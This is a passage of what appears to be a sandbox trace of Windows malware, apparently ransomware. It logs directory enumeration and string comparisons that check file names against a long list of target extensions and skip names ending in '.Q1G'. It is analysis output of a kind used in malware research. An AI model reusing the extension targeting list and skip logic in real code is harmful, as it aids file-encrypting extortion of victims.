lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".der") returned 4 [0035.584] lstrcmpiW (lpString1=".der", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".dib") returned 4 [0035.584] lstrcmpiW (lpString1=".dib", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".dic") returned 4 [0035.584] lstrcmpiW (lpString1=".dic", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".dif") returned 4 [0035.584] lstrcmpiW (lpString1=".dif", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".divx") returned 5 [0035.584] lstrcmpiW (lpString1=".divx", lpString2="].Q1G") returned -1 [0035.584] lstrlenW (lpString=".djvu") returned 5 [0035.584] lstrcmpiW (lpString1=".djvu", lpString2="].Q1G") returned -1 [0035.584] lstrlenW (lpString=".dng") returned 4 [0035.584] lstrcmpiW (lpString1=".dng", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".doc") returned 4 [0035.584] lstrcmpiW (lpString1=".doc", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".docm") returned 5 [0035.585] lstrcmpiW (lpString1=".docm", lpString2="].Q1G") returned -1 [0035.585] lstrlenW (lpString=".docx") returned 5 [0035.585] lstrcmpiW (lpString1=".docx", lpString2="].Q1G") returned -1 [0035.585] lstrlenW (lpString=".dot") returned 4 [0035.585] lstrcmpiW (lpString1=".dot", lpString2=".Q1G") returned -1 [0035.585] lstrlenW (lpString=".dotm") returned 5 [0035.585] lstrcmpiW (lpString1=".dotm", lpString2="].Q1G") returned -1 [0035.585] lstrlenW (lpString=".dotx") returned 5 [0035.585] lstrcmpiW (lpString1=".dotx", lpString2="].Q1G") returned -1 [0035.585] lstrlenW (lpString=".dpx") returned 4 [0035.585] lstrcmpiW (lpString1=".dpx", lpString2=".Q1G") returned -1 [0035.585] lstrlenW (lpString=".dqy") returned 4 [0035.585] lstrcmpiW (lpString1=".dqy", lpString2=".Q1G") returned -1 [0035.585] lstrlenW (lpString=".dsn") returned 4 [0035.585] lstrcmpiW (lpString1=".dsn", lpString2=".Q1G") returned -1 [0035.585] lstrlenW (lpString=".dt") returned 3 [0035.585] lstrcmpiW (lpString1=".dt", lpString2="Q1G") returned -1 [0035.585] lstrlenW (lpString=".dtd") returned 4 [0035.585] lstrcmpiW (lpString1=".dtd", lpString2=".Q1G") returned -1 [0035.585] lstrlenW (lpString=".dwg") returned 4 [0035.585] lstrcmpiW (lpString1=".dwg", lpString2=".Q1G") returned -1 [0035.585] lstrlenW (lpString=".dwt") returned 4 [0035.585] lstrcmpiW (lpString1=".dwt", lpString2=".Q1G") returned -1 [0035.585] lstrlenW (lpString=".dx") returned 3 [0035.585] lstrcmpiW (lpString1=".dx", lpString2="Q1G") returned -1 [0035.585] lstrlenW (lpString=".dxf") returned 4 [0035.585] lstrcmpiW (lpString1=".dxf", lpString2=".Q1G") returned -1 [0035.585] lstrlenW (lpString=".edml") returned 5 [0035.585] lstrcmpiW (lpString1=".edml", lpString2="].Q1G") returned -1 [0035.585] lstrlenW (lpString=".efd") returned 4 [0035.585] lstrcmpiW (lpString1=".efd", lpString2=".Q1G") returned -1 [0035.585] lstrlenW (lpString=".elf") returned 4 [0035.585] lstrcmpiW (lpString1=".elf", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".emf") returned 4 [0035.586] lstrcmpiW (lpString1=".emf", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".emz") returned 4 [0035.586] lstrcmpiW (lpString1=".emz", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".epf") returned 4 [0035.586] lstrcmpiW (lpString1=".epf", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".eps") returned 4 [0035.586] lstrcmpiW (lpString1=".eps", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".epsf") returned 5 [0035.586] lstrcmpiW (lpString1=".epsf", lpString2="].Q1G") returned -1 [0035.586] lstrlenW (lpString=".epsp") returned 5 [0035.586] lstrcmpiW (lpString1=".epsp", lpString2="].Q1G") returned -1 [0035.586] lstrlenW (lpString=".erf") returned 4 [0035.586] lstrcmpiW (lpString1=".erf", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".exr") returned 4 [0035.586] lstrcmpiW (lpString1=".exr", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".f4v") returned 4 [0035.586] lstrcmpiW (lpString1=".f4v", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".fido") returned 5 [0035.586] lstrcmpiW (lpString1=".fido", lpString2="].Q1G") returned -1 [0035.586] lstrlenW (lpString=".flm") returned 4 [0035.586] lstrcmpiW (lpString1=".flm", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".flv") returned 4 [0035.586] lstrcmpiW (lpString1=".flv", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".frm") returned 4 [0035.586] lstrcmpiW (lpString1=".frm", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".fxg") returned 4 [0035.586] lstrcmpiW (lpString1=".fxg", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".geo") returned 4 [0035.586] lstrcmpiW (lpString1=".geo", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".gif") returned 4 [0035.586] lstrcmpiW (lpString1=".gif", lpString2=".Q1G") returned -1 [0035.586] lstrlenW (lpString=".grs") returned 4 [0035.586] lstrcmpiW (lpString1=".grs", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".gz") returned 3 [0035.587] lstrcmpiW (lpString1=".gz", lpString2="Q1G") returned -1 [0035.587] lstrlenW (lpString=".h") returned 2 [0035.587] lstrcmpiW (lpString1=".h", lpString2="1G") returned -1 [0035.587] lstrlenW (lpString=".hdr") returned 4 [0035.587] lstrcmpiW (lpString1=".hdr", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".hpp") returned 4 [0035.587] lstrcmpiW (lpString1=".hpp", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".hta") returned 4 [0035.587] lstrcmpiW (lpString1=".hta", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".htc") returned 4 [0035.587] lstrcmpiW (lpString1=".htc", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".htm") returned 4 [0035.587] lstrcmpiW (lpString1=".htm", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".html") returned 5 [0035.587] lstrcmpiW (lpString1=".html", lpString2="].Q1G") returned -1 [0035.587] lstrlenW (lpString=".icb") returned 4 [0035.587] lstrcmpiW (lpString1=".icb", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".ics") returned 4 [0035.587] lstrcmpiW (lpString1=".ics", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".iff") returned 4 [0035.587] lstrcmpiW (lpString1=".iff", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".inc") returned 4 [0035.587] lstrcmpiW (lpString1=".inc", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".indd") returned 5 [0035.587] lstrcmpiW (lpString1=".indd", lpString2="].Q1G") returned -1 [0035.587] lstrlenW (lpString=".ini") returned 4 [0035.587] lstrcmpiW (lpString1=".ini", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".iqy") returned 4 [0035.587] lstrcmpiW (lpString1=".iqy", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".j2c") returned 4 [0035.587] lstrcmpiW (lpString1=".j2c", lpString2=".Q1G") returned -1 [0035.587] lstrlenW (lpString=".j2k") returned 4 [0035.588] lstrcmpiW (lpString1=".j2k", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".java") returned 5 [0035.588] lstrcmpiW (lpString1=".java", lpString2="].Q1G") returned -1 [0035.588] lstrlenW (lpString=".jp2") returned 4 [0035.588] lstrcmpiW (lpString1=".jp2", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".jpc") returned 4 [0035.588] lstrcmpiW (lpString1=".jpc", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".jpe") returned 4 [0035.588] lstrcmpiW (lpString1=".jpe", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".jpeg") returned 5 [0035.588] lstrcmpiW (lpString1=".jpeg", lpString2="].Q1G") returned -1 [0035.588] lstrlenW (lpString=".jpf") returned 4 [0035.588] lstrcmpiW (lpString1=".jpf", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".jpg") returned 4 [0035.588] lstrcmpiW (lpString1=".jpg", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".jpx") returned 4 [0035.588] lstrcmpiW (lpString1=".jpx", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".js") returned 3 [0035.588] lstrcmpiW (lpString1=".js", lpString2="Q1G") returned -1 [0035.588] lstrlenW (lpString=".jsf") returned 4 [0035.588] lstrcmpiW (lpString1=".jsf", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".json") returned 5 [0035.588] lstrcmpiW (lpString1=".json", lpString2="].Q1G") returned -1 [0035.588] lstrlenW (lpString=".jsp") returned 4 [0035.588] lstrcmpiW (lpString1=".jsp", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".kdc") returned 4 [0035.588] lstrcmpiW (lpString1=".kdc", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".kmz") returned 4 [0035.588] lstrcmpiW (lpString1=".kmz", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".kwm") returned 4 [0035.588] lstrcmpiW (lpString1=".kwm", lpString2=".Q1G") returned -1 [0035.588] lstrlenW (lpString=".lasso") returned 6 [0035.588] lstrcmpiW (lpString1=".lasso", lpString2="m].Q1G") returned -1 [0035.588] lstrlenW (lpString=".lbi") returned 4 [0035.589] lstrcmpiW (lpString1=".lbi", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".lgf") returned 4 [0035.589] lstrcmpiW (lpString1=".lgf", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".lgp") returned 4 [0035.589] lstrcmpiW (lpString1=".lgp", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".log") returned 4 [0035.589] lstrcmpiW (lpString1=".log", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".m1v") returned 4 [0035.589] lstrcmpiW (lpString1=".m1v", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".m4a") returned 4 [0035.589] lstrcmpiW (lpString1=".m4a", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".m4v") returned 4 [0035.589] lstrcmpiW (lpString1=".m4v", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".max") returned 4 [0035.589] lstrcmpiW (lpString1=".max", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".md") returned 3 [0035.589] lstrcmpiW (lpString1=".md", lpString2="Q1G") returned -1 [0035.589] lstrlenW (lpString=".mda") returned 4 [0035.589] lstrcmpiW (lpString1=".mda", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".mdb") returned 4 [0035.589] lstrcmpiW (lpString1=".mdb", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".mde") returned 4 [0035.589] lstrcmpiW (lpString1=".mde", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".mdf") returned 4 [0035.589] lstrcmpiW (lpString1=".mdf", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".mdw") returned 4 [0035.589] lstrcmpiW (lpString1=".mdw", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".mef") returned 4 [0035.589] lstrcmpiW (lpString1=".mef", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".mft") returned 4 [0035.589] lstrcmpiW (lpString1=".mft", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".mfw") returned 4 [0035.589] lstrcmpiW (lpString1=".mfw", lpString2=".Q1G") returned -1 [0035.589] lstrlenW (lpString=".mht") returned 4 [0035.590] lstrcmpiW (lpString1=".mht", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mhtml") returned 6 [0035.590] lstrcmpiW (lpString1=".mhtml", lpString2="m].Q1G") returned -1 [0035.590] lstrlenW (lpString=".mka") returned 4 [0035.590] lstrcmpiW (lpString1=".mka", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mkidx") returned 6 [0035.590] lstrcmpiW (lpString1=".mkidx", lpString2="m].Q1G") returned -1 [0035.590] lstrlenW (lpString=".mkv") returned 4 [0035.590] lstrcmpiW (lpString1=".mkv", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mos") returned 4 [0035.590] lstrcmpiW (lpString1=".mos", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mov") returned 4 [0035.590] lstrcmpiW (lpString1=".mov", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mp3") returned 4 [0035.590] lstrcmpiW (lpString1=".mp3", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mp4") returned 4 [0035.590] lstrcmpiW (lpString1=".mp4", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mpeg") returned 5 [0035.590] lstrcmpiW (lpString1=".mpeg", lpString2="].Q1G") returned -1 [0035.590] lstrlenW (lpString=".mpg") returned 4 [0035.590] lstrcmpiW (lpString1=".mpg", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mpv") returned 4 [0035.590] lstrcmpiW (lpString1=".mpv", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mrw") returned 4 [0035.590] lstrcmpiW (lpString1=".mrw", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".msg") returned 4 [0035.590] lstrcmpiW (lpString1=".msg", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".mxl") returned 4 [0035.590] lstrcmpiW (lpString1=".mxl", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".myd") returned 4 [0035.590] lstrcmpiW (lpString1=".myd", lpString2=".Q1G") returned -1 [0035.590] lstrlenW (lpString=".myi") returned 4 [0035.590] lstrcmpiW (lpString1=".myi", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".nef") returned 4 [0035.591] lstrcmpiW (lpString1=".nef", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".nrw") returned 4 [0035.591] lstrcmpiW (lpString1=".nrw", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".obj") returned 4 [0035.591] lstrcmpiW (lpString1=".obj", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".odb") returned 4 [0035.591] lstrcmpiW (lpString1=".odb", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".odc") returned 4 [0035.591] lstrcmpiW (lpString1=".odc", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".odm") returned 4 [0035.591] lstrcmpiW (lpString1=".odm", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".odp") returned 4 [0035.591] lstrcmpiW (lpString1=".odp", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".ods") returned 4 [0035.591] lstrcmpiW (lpString1=".ods", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".oft") returned 4 [0035.591] lstrcmpiW (lpString1=".oft", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".one") returned 4 [0035.591] lstrcmpiW (lpString1=".one", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".onepkg") returned 7 [0035.591] lstrcmpiW (lpString1=".onepkg", lpString2="om].Q1G") returned -1 [0035.591] lstrlenW (lpString=".onetoc2") returned 8 [0035.591] lstrcmpiW (lpString1=".onetoc2", lpString2="com].Q1G") returned -1 [0035.591] lstrlenW (lpString=".opt") returned 4 [0035.591] lstrcmpiW (lpString1=".opt", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".oqy") returned 4 [0035.591] lstrcmpiW (lpString1=".oqy", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".orf") returned 4 [0035.591] lstrcmpiW (lpString1=".orf", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".p12") returned 4 [0035.591] lstrcmpiW (lpString1=".p12", lpString2=".Q1G") returned -1 [0035.591] lstrlenW (lpString=".p7b") returned 4 [0035.592] lstrcmpiW (lpString1=".p7b", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".p7c") returned 4 [0035.592] lstrcmpiW (lpString1=".p7c", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pam") returned 4 [0035.592] lstrcmpiW (lpString1=".pam", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pbm") returned 4 [0035.592] lstrcmpiW (lpString1=".pbm", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pct") returned 4 [0035.592] lstrcmpiW (lpString1=".pct", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pcx") returned 4 [0035.592] lstrcmpiW (lpString1=".pcx", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pdd") returned 4 [0035.592] lstrcmpiW (lpString1=".pdd", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pdf") returned 4 [0035.592] lstrcmpiW (lpString1=".pdf", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pdp") returned 4 [0035.592] lstrcmpiW (lpString1=".pdp", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pef") returned 4 [0035.592] lstrcmpiW (lpString1=".pef", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pem") returned 4 [0035.592] lstrcmpiW (lpString1=".pem", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pff") returned 4 [0035.592] lstrcmpiW (lpString1=".pff", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pfm") returned 4 [0035.592] lstrcmpiW (lpString1=".pfm", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pfx") returned 4 [0035.592] lstrcmpiW (lpString1=".pfx", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".pgm") returned 4 [0035.592] lstrcmpiW (lpString1=".pgm", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".php") returned 4 [0035.592] lstrcmpiW (lpString1=".php", lpString2=".Q1G") returned -1 [0035.592] lstrlenW (lpString=".php3") returned 5 [0035.592] lstrcmpiW (lpString1=".php3", lpString2="].Q1G") returned -1 [0035.592] lstrlenW (lpString=".php4") returned 5 [0035.593] lstrcmpiW (lpString1=".php4", lpString2="].Q1G") returned -1 [0035.593] lstrlenW (lpString=".php5") returned 5 [0035.593] lstrcmpiW (lpString1=".php5", lpString2="].Q1G") returned -1 [0035.593] lstrlenW (lpString=".phtml") returned 6 [0035.593] lstrcmpiW (lpString1=".phtml", lpString2="m].Q1G") returned -1 [0035.593] lstrlenW (lpString=".pict") returned 5 [0035.593] lstrcmpiW (lpString1=".pict", lpString2="].Q1G") returned -1 [0035.593] lstrlenW (lpString=".pl") returned 3 [0035.593] lstrcmpiW (lpString1=".pl", lpString2="Q1G") returned -1 [0035.593] lstrlenW (lpString=".pls") returned 4 [0035.593] lstrcmpiW (lpString1=".pls", lpString2=".Q1G") returned -1 [0035.593] lstrlenW (lpString=".pm") returned 3 [0035.593] lstrcmpiW (lpString1=".pm", lpString2="Q1G") returned -1 [0035.593] lstrlenW (lpString=".png") returned 4 [0035.593] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0035.593] lstrlenW (lpString=".pnm") returned 4 [0035.593] lstrcmpiW (lpString1=".pnm", lpString2=".Q1G") returned -1 [0035.593] lstrlenW (lpString=".pot") returned 4 [0035.593] lstrcmpiW (lpString1=".pot", lpString2=".Q1G") returned -1 [0035.593] lstrlenW (lpString=".potm") returned 5 [0035.593] lstrcmpiW (lpString1=".potm", lpString2="].Q1G") returned -1 [0035.593] lstrlenW (lpString=".potx") returned 5 [0035.593] lstrcmpiW (lpString1=".potx", lpString2="].Q1G") returned -1 [0035.593] lstrlenW (lpString=".ppa") returned 4 [0035.593] lstrcmpiW (lpString1=".ppa", lpString2=".Q1G") returned -1 [0035.593] lstrlenW (lpString=".ppam") returned 5 [0035.593] lstrcmpiW (lpString1=".ppam", lpString2="].Q1G") returned -1 [0035.593] lstrlenW (lpString=".ppm") returned 4 [0035.593] lstrcmpiW (lpString1=".ppm", lpString2=".Q1G") returned -1 [0035.593] lstrlenW (lpString=".pps") returned 4 [0035.593] lstrcmpiW (lpString1=".pps", lpString2=".Q1G") returned -1 [0035.593] lstrlenW (lpString=".ppsm") returned 5 [0035.593] lstrcmpiW (lpString1=".ppsm", lpString2="].Q1G") returned -1 [0035.593] lstrlenW (lpString=".ppt") returned 4 [0035.594] lstrcmpiW (lpString1=".ppt", lpString2=".Q1G") returned -1 [0035.594] lstrlenW (lpString=".pptm") returned 5 [0035.594] lstrcmpiW (lpString1=".pptm", lpString2="].Q1G") returned -1 [0035.594] lstrlenW (lpString=".pptx") returned 5 [0035.594] lstrcmpiW (lpString1=".pptx", lpString2="].Q1G") returned -1 [0035.594] lstrlenW (lpString=".prn") returned 4 [0035.594] lstrcmpiW (lpString1=".prn", lpString2=".Q1G") returned -1 [0035.594] lstrlenW (lpString=".ps") returned 3 [0035.594] lstrcmpiW (lpString1=".ps", lpString2="Q1G") returned -1 [0035.594] lstrlenW (lpString=".psb") returned 4 [0035.594] lstrcmpiW (lpString1=".psb", lpString2=".Q1G") returned -1 [0035.594] lstrlenW (lpString=".psd") returned 4 [0035.594] lstrcmpiW (lpString1=".psd", lpString2=".Q1G") returned -1 [0035.594] lstrlenW (lpString=".pst") returned 4 [0035.594] lstrcmpiW (lpString1=".pst", lpString2=".Q1G") returned -1 [0035.594] lstrlenW (lpString=".ptx") returned 4 [0035.594] lstrcmpiW (lpString1=".ptx", lpString2=".Q1G") returned -1 [0035.594] lstrlenW (lpString=".pub") returned 4 [0035.594] lstrcmpiW (lpString1=".pub", lpString2=".Q1G") returned -1 [0035.594] lstrlenW (lpString=".pwm") returned 4 [0035.594] lstrcmpiW (lpString1=".pwm", lpString2=".Q1G") returned -1 [0037.663] FindNextFileW (in: hFindFile=0x6045c8, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.663] FindNextFileW (in: hFindFile=0x6045c8, lpFindFileData=0x3a7f094 | out: lpFindFileData=0x3a7f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0037.663] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0037.663] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0037.663] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0037.663] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0037.663] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0037.664] lstrcmpiW (lpString1=".accda", lpString2="ck.png") returned -1 [0037.664] lstrcmpiW (lpString1=".accdb", lpString2="ck.png") returned -1 [0037.664] lstrcmpiW (lpString1=".accdc", lpString2="ck.png") returned -1 [0037.664] lstrcmpiW (lpString1=".accde", lpString2="ck.png") returned -1 [0037.664] lstrcmpiW (lpString1=".accdt", lpString2="ck.png") returned -1 [0037.664] lstrcmpiW (lpString1=".accdw", lpString2="ck.png") returned -1 [0037.664] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0037.664] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".anim", lpString2="k.png") returned -1 [0037.664] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0037.664] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0037.664] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".ascx", lpString2="k.png") returned -1 [0037.665] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".asmx", lpString2="k.png") returned -1 [0037.665] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".aspx", lpString2="k.png") returned -1 [0037.665] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".backup", lpString2="ack.png") returned -1 [0037.665] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0037.665] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0037.665] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0037.665] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0037.665] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".cfml", lpString2="k.png") returned -1 [0037.666] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".class", lpString2="ck.png") returned -1 [0037.666] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".config", lpString2="ack.png") returned -1 [0037.666] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0037.666] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0037.666] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0037.666] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".divx", lpString2="k.png") returned -1 [0037.667] lstrcmpiW (lpString1=".djvu", lpString2="k.png") returned -1 [0037.667] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0037.667] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0037.667] lstrcmpiW 